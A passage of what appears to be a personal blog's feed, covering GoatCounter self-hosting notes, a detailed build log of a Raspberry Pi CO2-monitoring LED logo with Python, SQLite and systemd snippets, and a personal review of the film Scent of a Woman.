    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttps://blog.alipour.eu/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    Movie review: Scent of a Womanhttps://blog.alipour.eu/posts/scent_of_a_woman/Mon, 13 Oct 2025 08:52:10 +0000https://blog.alipour.eu/posts/scent_of_a_woman/My reaction to the movie as a not so pro movie watcherI’m not a big movie watcher. +In fact, I don’t remember the last time I watched a whole movie in a single day. +It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.

    +

    Few points before I begin.

    +
      +
    • This was aside from the therapy session.
    • +
    • My therapist does not tell me what to do, or if I’m wrong or right or anything like that.
    • +
    • I watched this movie in about two parts in a single day!
    • +
    • I knew Al Pacino’s face from Godfather series, but didn’t know his name.
    • +
    • I’m not a big movie person, so whatever I say should be taken with a grain of salt. Just don’t be offended, take it face up and as is.
    • +
    +

    The movie is about a good young student named Chris O’Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.

    +

    The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.

    +

    Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn’t really there for him.

    +

    When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees.

    +

    Upon Karen’s leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this.

    +

    He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.

    +

    Frank is in love with Jack Daniel’s and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed.

    +

    Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn’t want to snitch, but frank learns about this, he encourages him to take the deal.

    +

    Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express!

    +

    In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn’t even recognize Frank was blind!!!!

    +

    After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris’s parent.

    +

    Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father’s back was.

    +

    In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.

    +

    The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.

    +

    That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?

    +

    Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I’m also getting a lot back while making some sacrifices.

    +

    Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman?

    +

    I honestly do not know. +I just know that watching the movie gave me good feelings. +That I’m a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I’m on the right track, but still need time to figure out the way. +That I shouldn’t worry too much. +That I should look at everything as a way to have “fun”. +That I shouldn’t overthink things. +That if I mess up, oh well, I should take the responsibility and move on.

    +

    I don’t know what the intention of my therapist was, but I’m so curious! +I want to figure it out. :) +Fell free to cross your fingers for me!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q
    +m6IiKs5GoxJFgNEyfNSjjBNj+NeqxgmYqlephJtf5ubTW+IuSMkinSyvVwkKrxAX
    +QA+1Imf7/4QTyUB6/L+19jk+1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj
    +OAProXMLAaCpasabz8+kQBQsul12h0cjG7A+TSaTgaM+WnE8RuC6C0KV//YeUfvN
    +DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ
